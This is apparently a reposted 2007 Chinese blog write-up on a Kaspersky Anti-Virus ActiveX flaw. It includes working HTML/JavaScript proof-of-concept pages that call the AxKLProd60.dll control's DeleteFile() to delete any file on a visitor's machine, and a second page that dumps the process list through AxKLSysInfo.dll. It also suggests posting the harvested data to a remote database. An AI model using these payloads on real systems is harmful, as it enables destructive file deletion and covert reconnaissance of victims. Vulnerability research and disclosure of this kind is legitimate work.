elva

Kaspersky Anti-Virus 远程删除任意文件漏洞分析及利用代码

创建时间:2007-05-19 更新时间:2007-05-30
文章属性:原创
文章提交:blueph4nt0m (blueph4nt0m_at_sogou.com)

首先声明,这个漏洞是朋友zf在调试程序的时候发现的,非常鄙视某人以其自己名义将此漏洞包括zf的利用程序代码投稿国内某杂志的行为!
    下面来说说这个漏洞,最初发现这个漏洞是由一个ActiveX控件引起的:位于Kaspersky Anti-Virus安装目录下的AxKLProd60.dll。这个控件调用了一个函数:DeleteFile(),获取到这个ActiveX控件的classid即可以在网页中利用这个控件执行DeleteFile的操作。至于该控件的classid获取方法很简单,用UltraEdit打开就能找到了。zf告诉我的时候就同时给我了利用代码:
<SCRIPT language=javascript>
function test()
{
bug.DeleteFile("D:\\1.txt");
}
</script>
<object classid="clsid:D9EC22E7-1A86-4F7C-8940-0303AE5D6756" name="bug">
//这是卡巴斯基组件的注册标识
</object>
<script>javascript:test(); //调用测试函数
</script>
    以上代码存为html文件,在D盘根目录下新建一个1.txt,访问一下这个页面,之前新建的1.txt被删除就说明成功了。上面的D:\\1.txt可以改为任意路径。
    之后我针对此代码进行了一些测试,发现并不是通用的。bug.DeleteFile("D:\\1.txt");这样的写法对多数版本有效,但某些版本必须写成:bug.DeleteFile("D:\1.txt");。而且此代码在IE7上执行会被拦截。我想看看有没有多一些的可利用函数,zf给了我一张他反编译得到的表:

[img]http://try2.org/images/Kaspersky1.jpg[/img]
[img]http://try2.org/images/Kaspersky2.jpg[/img]

    看起来有搞头,本准备直接试试列表里的函数,结果一个都用不了,我以为我的用法有问题。于是我拿去和同是try2.org的cfx研究研究。
    和cfx一起看了才发现kaba里有两个ActiveX控件,AxKLProd60.dll和AxKLSysInfo.dll。用VB导入才知道,原来之前zf给我的表是导出表而不是导入表。这两个ActiveX控件的导入表截图如下:

[img]http://try2.org/images/Kaspersky3.jpg[/img]
[img]http://try2.org/images/Kaspersky4.jpg[/img]
[img]http://try2.org/images/Kaspersky5.jpg[/img]

    这一看傻了,看来导出表里只有DeleteFile()比较有“实际”用处,其他都是一些获取信息的属性。从列表中我们可以看到可以获取已安装文件列表、BIOS版本信息、系统版本信息、HotFix列表等等。看来对获取进一步权限都没什么用处了。不过这些信息都是客户端得到的,作为利用者要得到这些信息还得利用网页,比如用GET方式跟参数写入预先准备好的网站数据库,或者以表单形式将列表提交到数据库之类的我就不多说了。试了几个,其中HotFixList没有正确输出。get_HotFixList()获取的不是字符串么?还请高手多多指教。
能力有限,我们研究此漏洞仅仅到此为止。有高手能将此漏洞发扬光大的希望能发出来哈。看来杀毒软件出错也是很可怕的。前几天的Symantec的误报也害了很多机器。所以提醒大家不要过于依赖杀毒软件,毕竟它们也是程序,也是会有漏洞和BUG的。提高自己的安全意识才是最重要的。希望Kaspersky能尽早修复此漏洞。希望各位到try2.org交流(原scccn改组的团队)。

Bluephantom作于2007年

**************************************************
附:


<SCRIPT language=javascript>
function test()
{

list = bug.get_ProcessList()

document.write(list)
}
</script>
<object classid="clsid:BA61606B-258C-4021-AD27-E07A3F3B91DB" name="bug">
//这是卡巴斯基组件的注册标识
</object>
<script>javascript:test(); //调用测试函数
</script>

posted on 2007-05-31 20:44 叶子 阅读(213) 评论(0)  编辑 收藏 引用 所属分类: 网络安全


只有注册用户登录后才能发表评论。
【推荐】超50万行VC++源码: 大型组态工控、电力仿真CAD与GIS源码库
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理